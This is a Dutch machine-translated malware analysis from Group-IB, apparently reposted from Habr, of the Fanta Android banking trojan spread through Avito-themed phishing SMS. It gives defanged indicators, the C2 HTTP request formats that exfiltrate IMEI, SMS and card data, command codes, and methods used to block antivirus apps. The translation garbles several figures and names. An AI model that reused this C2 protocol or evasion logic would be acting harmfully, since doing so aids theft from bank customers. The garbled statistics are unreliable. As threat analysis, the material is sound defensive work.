Leysya, Fanta: een nieuwe tactiek voor een oude Android-trojan

Leysya, Fanta: een nieuwe tactiek voor een oude Android-trojan

Op een dag wilt u iets verkopen op Avito en nadat u een gedetailleerde beschrijving van uw product heeft geplaatst (bijvoorbeeld een RAM-module), ontvangt u dit bericht:

Leysya, Fanta: een nieuwe tactiek voor een oude Android-trojanZodra u de link opent, ziet u een ogenschijnlijk onschadelijke pagina die u, de gelukkige en succesvolle verkoper, informeert dat er een aankoop is gedaan:

Leysya, Fanta: een nieuwe tactiek voor een oude Android-trojan
Zodra u op de knop “Doorgaan” klikt, wordt een APK-bestand met een pictogram en een vertrouwenwekkende naam naar uw Android-apparaat gedownload. U installeerde een applicatie die om de een of andere reden AccessibilityService-rechten vroeg, waarna een paar vensters verschenen en snel verdwenen en... Dat is alles.

U gaat uw saldo controleren, maar om een ​​of andere reden vraagt ​​uw bankieren-app opnieuw om uw kaartgegevens. Na het invoeren van de gegevens gebeurt er iets vreselijks: om de een of andere reden die u nog steeds niet begrijpt, begint het geld van uw rekening te verdwijnen. U probeert het probleem op te lossen, maar uw telefoon verzet zich: hij drukt op de toetsen "Terug" en "Home", gaat niet uit en u kunt geen beveiligingsmaatregelen activeren. Als gevolg hiervan zit u zonder geld, zijn uw goederen niet gekocht, bent u in de war en vraagt ​​u zich af: wat is er gebeurd?

Het antwoord is simpel: u bent het slachtoffer geworden van de Android Trojan Fanta, een lid van de Flexnet-familie. Hoe is dit gebeurd? Laten we het nu uitleggen.

Auteurs: Andrej Polovinkin, junior specialist in malwareanalyse, Ivan Pisarev, specialist in malwareanalyse.

Sommige statistieken

De Flexnet-familie van Android-trojans werd voor het eerst bekend in 2015. Gedurende een vrij lange periode van activiteit breidde de familie zich uit tot verschillende ondersoorten: Fanta, Limebot, Lipton, enz. Het Trojaanse paard, evenals de bijbehorende infrastructuur, staat niet stil: er worden nieuwe effectieve distributiesystemen ontwikkeld - in ons geval hoogwaardige phishing-pagina's gericht op een specifieke gebruiker-verkoper, en de Trojan-ontwikkelaars volgen modieuze trends op het gebied van virusschrijven - het toevoegen van nieuwe functionaliteit die het mogelijk maakt om efficiënter geld te stelen van geïnfecteerde apparaten en beschermingsmechanismen te omzeilen.

De in dit artikel beschreven campagne is gericht op gebruikers uit Rusland; een klein aantal geïnfecteerde apparaten werd geregistreerd in Oekraïne, en nog minder in Kazachstan en Wit-Rusland.

Ook al bevindt Flexnet zich al ruim vier jaar in de Android Trojan-arena en is het door veel onderzoekers in detail bestudeerd, het verkeert nog steeds in goede staat. Vanaf januari 4 bedraagt ​​de potentiële schade meer dan 2019 miljoen roebel – en dit geldt alleen voor campagnes in Rusland. In 35 werden verschillende versies van deze Android Trojan verkocht op ondergrondse fora, waar ook de broncode van de Trojan met een gedetailleerde beschrijving te vinden was. Dit betekent dat de statistieken van schade in de wereld nog indrukwekkender zijn. Geen slechte indicator voor zo'n oude man, nietwaar?

Leysya, Fanta: een nieuwe tactiek voor een oude Android-trojan

Van verkoop tot bedrog

Zoals blijkt uit de eerder gepresenteerde screenshot van een phishing-pagina voor de internetdienst voor het plaatsen van advertenties Avito, was deze voorbereid op een specifiek slachtoffer. Blijkbaar gebruiken de aanvallers een van de parsers van Avito, die het telefoonnummer en de naam van de verkoper extraheert, evenals de productbeschrijving. Na het uitvouwen van de pagina en het voorbereiden van het APK-bestand, krijgt het slachtoffer een sms met zijn naam en een link naar een phishing-pagina met daarin een beschrijving van zijn product en het ontvangen bedrag uit de “verkoop” van het product. Door op de knop te klikken ontvangt de gebruiker een kwaadaardig APK-bestand - Fanta.

Uit een onderzoek van het shcet491[.]ru-domein bleek dat het is gedelegeerd aan de DNS-servers van Hostinger:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

Het domeinzonebestand bevat vermeldingen die verwijzen naar de IP-adressen 31.220.23[.]236, 31.220.23[.]243 en 31.220.23[.]235. De primaire bronrecord van het domein (A-record) verwijst echter naar een server met IP-adres 178.132.1[.]240.

IP-adres 178.132.1[.]240 bevindt zich in Nederland en is eigendom van de hoster WereldStream. IP-adressen 31.220.23[.]235, 31.220.23[.]236 en 31.220.23[.]243 bevinden zich in het Verenigd Koninkrijk en behoren tot de gedeelde hostingserver HOSTINGER. Gebruikt als recorder openprov-ru. De volgende domeinen zijn ook omgezet naar het IP-adres 178.132.1[.]240:

  • sdelka-ru[.]ru
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

Opgemerkt moet worden dat links in het volgende formaat beschikbaar waren vanuit bijna alle domeinen:

http://(www.){0,1}<%domain%>/[0-9]{7}

Deze sjabloon bevat ook een link uit een sms-bericht. Op basis van historische gegevens werd vastgesteld dat één domein overeenkomt met meerdere links in het hierboven beschreven patroon, wat erop wijst dat één domein werd gebruikt om de Trojan naar verschillende slachtoffers te verspreiden.

Laten we een klein stapje verder gaan: de Trojan die via een link uit een sms wordt gedownload, gebruikt het adres onusedseddohap[.]club. Dit domein is geregistreerd op 2019-03-12 en vanaf 2019-04-29 hebben APK-applicaties interactie gehad met dit domein. Op basis van gegevens verkregen van VirusTotal hebben in totaal 109 applicaties interactie gehad met deze server. Het domein zelf is omgezet naar het IP-adres 217.23.14[.]27, gevestigd in Nederland en eigendom van de host WereldStream. Gebruikt als recorder Namecheap. Domeinen zijn ook omgezet naar dit IP-adres slechte wasbeer[.]club (vanaf 2018-09-25) en slechte wasbeer[.]live (vanaf 2018-10-25). Met domein slechte wasbeer[.]club er is interactie geweest met meer dan 80 APK-bestanden slechte wasbeer[.]live - meer dan 100.

Over het algemeen verloopt de aanval als volgt:

Leysya, Fanta: een nieuwe tactiek voor een oude Android-trojan

Wat zit er onder Fanta's deksel?

Net als veel andere Android-trojans kan Fanta sms-berichten lezen en verzenden, USSD-verzoeken doen en zijn eigen vensters weergeven bovenop applicaties (inclusief bankieren). Het arsenaal aan functionaliteit van deze familie is echter gearriveerd: Fanta begon te gebruiken Toegankelijkheidsservice voor verschillende doeleinden: het lezen van de inhoud van meldingen van andere applicaties, het voorkomen van detectie en het stoppen van de uitvoering van een Trojaans paard op een geïnfecteerd apparaat, enz. Fanta werkt op alle versies van Android, niet jonger dan 4.4. In dit artikel zullen we het volgende Fanta-voorbeeld nader bekijken:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Direct na de lancering

Onmiddellijk na de lancering verbergt de Trojan zijn pictogram. De applicatie kan alleen werken als de naam van het geïnfecteerde apparaat niet in de lijst staat:

  • android_x86
  • VirtualBox
  • Nexus 5X (ononderpad)
  • Nexus 5 (scheermes)

Deze controle wordt uitgevoerd in de hoofdservice van de Trojan - HoofdService. Wanneer de applicatie voor de eerste keer wordt gestart, worden de configuratieparameters van de applicatie geïnitialiseerd naar standaardwaarden (het formaat voor het opslaan van configuratiegegevens en hun betekenis zullen later worden besproken) en wordt een nieuw geïnfecteerd apparaat geregistreerd op de controleserver. Er wordt een HTTP POST-verzoek met het berichttype naar de server verzonden registreer_bot en informatie over het geïnfecteerde apparaat (Android-versie, IMEI, telefoonnummer, naam van de operator en landcode waarin de operator is geregistreerd). Het adres dient als de controleserver hXXp://onuseseddohap[.]club/controller.php. Als reactie verzendt de server een bericht met de velden bot_id, bot_pwd, server — de applicatie slaat deze waarden op als parameters van de CnC-server. Parameter server optioneel als het veld niet is ontvangen: Fanta gebruikt het registratieadres - hXXp://onuseseddohap[.]club/controller.php. De functie van het wijzigen van het CnC-adres kan worden gebruikt om twee problemen op te lossen: om de belasting gelijkmatig over verschillende servers te verdelen (als er een groot aantal geïnfecteerde apparaten is, kan de belasting op een niet-geoptimaliseerde webserver hoog zijn), en ook om een alternatieve server bij uitval van één van de CnC-servers.

Als er een fout optreedt tijdens het verzenden van het verzoek, herhaalt de Trojan het registratieproces na 20 seconden.

Zodra het apparaat succesvol is geregistreerd, zal Fanta het volgende bericht aan de gebruiker weergeven:

Leysya, Fanta: een nieuwe tactiek voor een oude Android-trojan
Belangrijke opmerking: de service gebeld Systeembeveiliging — de naam van de Trojan-service en nadat u op de knop hebt geklikt ОК Er wordt een venster geopend met de toegankelijkheidsinstellingen van het geïnfecteerde apparaat, waarin de gebruiker toegankelijkheidsrechten voor de kwaadaardige service moet verlenen:

Leysya, Fanta: een nieuwe tactiek voor een oude Android-trojan
Zodra de gebruiker aanzet Toegankelijkheidsservice, krijgt Fanta toegang tot de inhoud van applicatievensters en de acties die daarin worden uitgevoerd:

Leysya, Fanta: een nieuwe tactiek voor een oude Android-trojan
Onmiddellijk nadat het Trojaanse paard toegankelijkheidsrechten heeft ontvangen, vraagt ​​het om beheerdersrechten en rechten om meldingen te lezen:

Leysya, Fanta: een nieuwe tactiek voor een oude Android-trojan
Met behulp van de AccessibilityService simuleert de applicatie toetsaanslagen en geeft zichzelf daarmee alle benodigde rechten.

Fanta creëert meerdere database-instances (die later zullen worden beschreven) die nodig zijn om configuratiegegevens op te slaan, evenals informatie die tijdens het proces wordt verzameld over het geïnfecteerde apparaat. Om de verzamelde informatie te verzenden, creëert de Trojan een herhalende taak die is ontworpen om velden uit de database te downloaden en een opdracht van de controleserver te ontvangen. Het interval voor toegang tot CnC wordt ingesteld afhankelijk van de Android-versie: in het geval van 5.1 is het interval 10 seconden, anders 60 seconden.

Om het commando te ontvangen, doet Fanta een verzoek GetTask naar de beheerserver. Als reactie hierop kan CnC een van de volgende opdrachten verzenden:

Team beschrijving
0 Sms-bericht verzenden
1 Voer een telefoongesprek of USSD-opdracht uit
2 Werkt een parameter bij interval
3 Werkt een parameter bij onderscheppen
6 Werkt een parameter bij smsManager
9 Begin met het verzamelen van sms-berichten
11 Reset je telefoon naar de fabrieksinstellingen
12 Schakel logboekregistratie van het maken van dialoogvensters in/uit

Fanta verzamelt ook meldingen van 70 bankapps, snelle betaalsystemen en e-wallets en slaat deze op in een database.

Configuratieparameters opslaan

Om configuratieparameters op te slaan, gebruikt Fanta een standaardaanpak voor het Android-platform: voorkeuren-bestanden. De instellingen worden opgeslagen in een bestand met de naam settings. Een beschrijving van de opgeslagen parameters vindt u in de onderstaande tabel.

naam Standaardwaarde Mogelijke waarden beschrijving
id 0 Geheel getal Bot-ID
server hXXp://onuseseddohap[.]club/ URL Beheer serveradres
pwd - Draad Server wachtwoord
interval 20 Geheel getal Tijdsinterval. Geeft aan hoe lang de volgende taken moeten worden uitgesteld:

  • Bij het verzenden van een verzoek over de status van een verzonden SMS-bericht
  • Er wordt een nieuwe opdracht ontvangen van de beheerserver

onderscheppen allen alles/telNummer Als het veld gelijk is aan de string allen of telefoonnummer, dan wordt het ontvangen sms-bericht door de applicatie onderschept en niet aan de gebruiker getoond
smsManager 0 0/1 Schakel de applicatie in/uit als de standaard SMS-ontvanger
leesDialoog vals Waar onwaar Gebeurtenisregistratie in-/uitschakelen ToegankelijkheidEvent

Fanta gebruikt het bestand ook smsManager:

naam Standaardwaarde Mogelijke waarden beschrijving
pckg - Draad Naam van de gebruikte SMS-berichtbeheerder

Interactie met databases

Tijdens zijn werking gebruikt de Trojan twee databases. Database genoemd a gebruikt om verschillende informatie op te slaan die via de telefoon is verzameld. De tweede database krijgt een naam fanta.db en wordt gebruikt om instellingen op te slaan die verantwoordelijk zijn voor het creëren van phishing-vensters die zijn ontworpen om informatie over bankkaarten te verzamelen.

Trojan maakt gebruik van een database а om verzamelde informatie op te slaan en uw acties te loggen. Gegevens worden opgeslagen in een tabel logs. Gebruik de volgende SQL-query om een ​​tabel te maken:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

De databank bevat de volgende informatie:

1. Het registreren van het opstarten van het geïnfecteerde apparaat met een bericht De telefoon ging aan!

2. Meldingen van applicaties. Het bericht wordt gegenereerd volgens het volgende sjabloon:

(<%App Name%>)<%Title%>: <%Notification text%>

3. Bankkaartgegevens uit phishing-formulieren gemaakt door de Trojan. Parameter VIEW_NAME kan een van de volgende zijn:

  • AliExpress
  • Avito
  • Google Play
  • Diversen <%App-naam%>

Het bericht wordt geregistreerd in het formaat:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. Inkomende/uitgaande SMS-berichten in het formaat:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. Informatie over het pakket dat het dialoogvenster maakt in de indeling:

(<%Package name%>)<%Package information%>

Voorbeeld tafel logs:

Leysya, Fanta: een nieuwe tactiek voor een oude Android-trojan
Eén van de functionaliteiten van Fanta is het verzamelen van informatie over bankpassen. Het verzamelen van gegevens vindt plaats door het creëren van phishing-vensters bij het openen van bankapplicaties. De Trojan creëert het phishing-venster slechts één keer. Informatie dat het venster aan de gebruiker is getoond, wordt opgeslagen in een tabel settings in de databank fanta.db. Gebruik de volgende SQL-query om een ​​database te maken:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Alle tabelvelden settings standaard geïnitialiseerd op 1 (maak een phishing-venster). Nadat de gebruiker zijn gegevens heeft ingevoerd, wordt de waarde ingesteld op 0. Voorbeeld van tabelvelden settings:

  • kan_inloggen — het veld is verantwoordelijk voor het weergeven van het formulier bij het openen van een bankapplicatie
  • eerste_bank - niet gebruikt
  • kan_avito — het veld is verantwoordelijk voor het weergeven van het formulier bij het openen van de Avito-applicatie
  • kan_ali — het veld is verantwoordelijk voor het weergeven van het formulier bij het openen van de AliExpress-applicatie
  • kan_ander — het veld is verantwoordelijk voor het weergeven van het formulier bij het openen van een aanvraag uit de lijst: Yula, Pandao, Drom Auto, Portemonnee. Kortings- en bonuskaarten, Aviasales, Booking, Trivago
  • can_card — het veld is verantwoordelijk voor het weergeven van het formulier bij het openen Google Play

Interactie met de beheerserver

Netwerkinteractie met de beheerserver vindt plaats via het HTTP-protocol. Om met het netwerk te werken, maakt Fanta gebruik van de populaire Retrofit-bibliotheek. Verzoeken worden verzonden naar: hXXp://onuseseddohap[.]club/controller.php. Het serveradres kan worden gewijzigd bij registratie op de server. Er kunnen cookies worden verzonden als reactie van de server. Fanta doet de volgende verzoeken aan de server:

  • Registratie van de bot op de controleserver vindt één keer plaats, bij de eerste lancering. De volgende gegevens over het geïnfecteerde apparaat worden naar de server verzonden:
    · Cookiebleid — cookies ontvangen van de server (standaardwaarde is een lege string)
    · mode — tekenreeksconstante registreer_bot
    · voorvoegsel — gehele constante 2
    · versie_sdk — wordt gevormd volgens het volgende sjabloon: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    · imei — IMEI van het geïnfecteerde apparaat
    · Land — code van het land waar de exploitant is geregistreerd, in ISO-formaat
    · aantal - telefoonnummer
    · operator — naam van de exploitant

    Een voorbeeld van een verzoek dat naar de server wordt verzonden:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    Als reactie op het verzoek moet de server een JSON-object retourneren met de volgende parameters:
    · bot_id — ID van het geïnfecteerde apparaat. Als bot_id gelijk is aan 0, zal Fanta het verzoek opnieuw uitvoeren.
    bot_pwd — wachtwoord voor de server.
    server — controleserveradres. Optionele parameter. Als de parameter niet is opgegeven, wordt het adres gebruikt dat in de applicatie is opgeslagen.

    Voorbeeld JSON-object:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • Verzoek om een ​​commando van de server te ontvangen. De volgende gegevens worden naar de server verzonden:
    · Cookiebleid — cookies ontvangen van de server
    · bod — ID van het geïnfecteerde apparaat dat werd ontvangen bij het verzenden van het verzoek registreer_bot
    · pwd —wachtwoord voor de server
    · divice_admin — het veld bepaalt of beheerdersrechten zijn verkregen. Als beheerdersrechten zijn verkregen, is het veld gelijk aan 1, anders 0
    · Toegankelijkheid — Status van de werking van de toegankelijkheidsservice. Als de service is gestart, is de waarde 1, anders 0
    · SMSManager — geeft aan of de Trojan is ingeschakeld als de standaardtoepassing voor het ontvangen van sms-berichten
    · scherm — geeft weer in welke staat het scherm zich bevindt. De waarde wordt ingesteld 1, als het scherm is ingeschakeld, anders 0;

    Een voorbeeld van een verzoek dat naar de server wordt verzonden:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    Afhankelijk van de opdracht kan de server een JSON-object met verschillende parameters retourneren:

    · Team Sms-bericht verzenden: De parameters bevatten het telefoonnummer, de tekst van het SMS-bericht en de ID van het verzonden bericht. De ID wordt gebruikt bij het verzenden van een bericht naar de server met type stelSmsStatus in.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · Team Voer een telefoongesprek of USSD-opdracht uit: het telefoonnummer of de opdracht komt in de antwoordtekst.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · Team Wijzig de intervalparameter.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    · Team Wijzig de interceptparameter.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    · Team Wijzig het SmsManager-veld.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · Team Verzamel sms-berichten van een geïnfecteerd apparaat.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · Team Reset je telefoon naar de fabrieksinstellingen:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · Team Wijzig de ReadDialog-parameter.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • Een bericht verzenden met type stelSmsStatus in. Dit verzoek wordt gedaan nadat de opdracht is uitgevoerd Sms-bericht verzenden. Het verzoek ziet er als volgt uit:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • Database-inhoud uploaden. Per verzoek wordt één rij verzonden. De volgende gegevens worden naar de server verzonden:
    · Cookiebleid — cookies ontvangen van de server
    · mode — tekenreeksconstante setSaveInboxSms
    · bod — ID van het geïnfecteerde apparaat dat werd ontvangen bij het verzenden van het verzoek registreer_bot
    · tekst — tekst in het huidige databaserecord (field d van de tafel logs in de databank а)
    · aantal — naam van het huidige databaserecord (field p van de tafel logs in de databank а)
    · sms_modus — gehele waarde (field m van de tafel logs in de databank а)

    Het verzoek ziet er als volgt uit:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    Indien succesvol verzonden naar de server, wordt de rij uit de tabel verwijderd. Voorbeeld van een JSON-object dat door de server wordt geretourneerd:

    {
        "response":[],
        "status":"ok"
    }

Interactie met AccessibilityService

AccessibilityService is geïmplementeerd om Android-apparaten gebruiksvriendelijker te maken voor mensen met een handicap. In de meeste gevallen is fysieke interactie vereist om met een applicatie te communiceren. Met AccessibilityService kunt u ze programmatisch uitvoeren. Fanta gebruikt de dienst om nepvensters in bankapplicaties te creëren en te voorkomen dat gebruikers systeeminstellingen en sommige applicaties openen.

Met behulp van de functionaliteit van de AccessibilityService controleert de Trojan wijzigingen in elementen op het scherm van het geïnfecteerde apparaat. Zoals eerder beschreven bevatten de Fanta-instellingen een parameter die verantwoordelijk is voor het loggen van bewerkingen met dialoogvensters - leesDialoog. Als deze parameter is ingesteld, wordt informatie over de naam en beschrijving van het pakket dat de gebeurtenis heeft geactiveerd, aan de database toegevoegd. De Trojan voert de volgende acties uit wanneer gebeurtenissen worden geactiveerd:

  • Simuleert het indrukken van de terug- en home-toetsen in de volgende gevallen:
    · als de gebruiker zijn apparaat opnieuw wil opstarten
    · als de gebruiker de applicatie “Avito” wil verwijderen of toegangsrechten wil wijzigen
    · als er op de pagina sprake is van de applicatie “Avito”.
    · bij het openen van de Google Play Protect-applicatie
    · bij het openen van pagina's met AccessibilityService-instellingen
    · wanneer het dialoogvenster Systeembeveiliging verschijnt
    · bij het openen van de pagina met de instellingen “Tekenen over andere app”.
    · bij het openen van de pagina "Toepassingen", "Herstel en reset", "Gegevensreset", "Instellingen opnieuw instellen", "Ontwikkelaarspaneel", "Speciaal. kansen”, “Bijzondere kansen”, “Bijzondere rechten”
    · als de gebeurtenis door bepaalde toepassingen is gegenereerd.

    Het apparaat werkt

    • android
    • Meester Lite
    • clean Master
    • Clean Master voor x86-CPU
    • Beheer van Meizu-applicatiemachtigingen
    • MIUI-beveiliging
    • Clean Master - Antivirus- en cache- en afvalreiniger
    • Ouderlijk toezicht en GPS: Kaspersky SafeKids
    • Kaspersky Antivirus AppLock en Web Security Bèta
    • Virusreiniger, antivirus, reiniger (MAX Security)
    • Mobiele AntiVirus Beveiliging PRO
    • Avast antivirus en gratis bescherming 2019
    • Mobiele beveiliging MegaFon
    • AVG-bescherming voor Xperia
    • Mobiele beveiliging
    • Malwarebytes Antivirus en bescherming
    • Antivirus voor Android 2019
    • Beveiligingsmaster - Antivirus, VPN, AppLock, Booster
    • AVG-antivirus voor Huawei-tablet Systeembeheer
    • Toegankelijkheid van Samsung
    • Samsung Smart Manager
    • Beveiliging Master
    • Speed ​​Booster
    • Dr.Web
    • Dr.Web Beveiliging Space
    • Dr.Web mobiel controlecentrum
    • Dr.Web Beveiliging Ruimteleven
    • Dr.Web mobiel controlecentrum
    • Antivirus en mobiele beveiliging
    • Kaspersky Internet Security: antivirus en bescherming
    • Levensduur batterij van Kaspersky: Saver & Booster
    • Kaspersky Endpoint Security - bescherming en beheer
    • AVG Antivirus gratis 2019 – Bescherming voor Android
    • Android antivirus
    • Norton Mobile Security en Antivirus
    • Antivirus, firewall, VPN, mobiele beveiliging
    • Mobiele beveiliging: antivirus, VPN, diefstalbeveiliging
    • Antivirus voor Android

  • Als er toestemming wordt gevraagd bij het verzenden van een sms-bericht naar een kort nummer, simuleert Fanta het klikken op het selectievakje Onthoud de keuze en knop verzenden.
  • Wanneer u de beheerdersrechten van het Trojaanse paard probeert weg te nemen, wordt het telefoonscherm vergrendeld.
  • Voorkomt het toevoegen van nieuwe beheerders.
  • Als de antivirustoepassing dr.web een bedreiging heeft gedetecteerd, imiteert Fanta het indrukken van de knop negeren.
  • De Trojan simuleert het indrukken van de terug- en de homeknop als de gebeurtenis door de applicatie is gegenereerd Samsung-apparaatonderhoud.
  • Fanta maakt phishing-vensters met formulieren voor het invoeren van informatie over bankkaarten als er een applicatie wordt gelanceerd uit een lijst met zo'n dertig verschillende internetdiensten. Onder hen: AliExpress, Booking, Avito, Google Play Market Component, Pandao, Drom Auto, enz.

    Phishing-formulieren

    Fanta analyseert welke applicaties op het geïnfecteerde apparaat draaien. Als er een interessante toepassing werd geopend, geeft de Trojan boven alle andere een phishing-venster weer, een formulier voor het invoeren van bankkaartgegevens. De gebruiker moet de volgende gegevens invoeren:

    • Kaartnummer
    • Kaart verloop datum
    • CVV
    • Naam kaarthouder (niet voor alle banken)

    Afhankelijk van de actieve applicatie worden verschillende phishing-vensters weergegeven. Hieronder vindt u voorbeelden van enkele daarvan:

    AliExpress:

    Leysya, Fanta: een nieuwe tactiek voor een oude Android-trojan
    Avito:

    Leysya, Fanta: een nieuwe tactiek voor een oude Android-trojan
    Voor sommige andere toepassingen, b.v. Google Play Market, Aviasales, Pandao, Boeking, Trivago:
    Leysya, Fanta: een nieuwe tactiek voor een oude Android-trojan

    Hoe het werkelijk was

    Gelukkig bleek de persoon die het aan het begin van het artikel beschreven sms-bericht ontving een cybersecurity-specialist te zijn. Daarom verschilt de echte, niet-regisseursversie van de versie die eerder werd verteld: een persoon ontving een interessante sms, waarna hij deze aan het Group-IB Threat Hunting Intelligence-team gaf. Het resultaat van de aanval is dit artikel. Gelukkig einde, toch? Niet alle verhalen eindigen echter zo succesvol, en zodat de jouwe er niet uitziet als een director's cut met geldverlies, is het in de meeste gevallen voldoende om je aan de volgende lang beschreven regels te houden:

    • installeer geen applicaties voor een mobiel apparaat met Android OS vanaf andere bronnen dan Google Play
    • Let bij het installeren van een applicatie vooral op de rechten die door de applicatie worden gevraagd
    • let op de extensies van gedownloade bestanden
    • installeer regelmatig Android OS-updates
    • bezoek geen verdachte bronnen en download daar geen bestanden
    • Klik niet op links die u in sms-berichten ontvangt.

Bron: www.habr.com

Voeg een reactie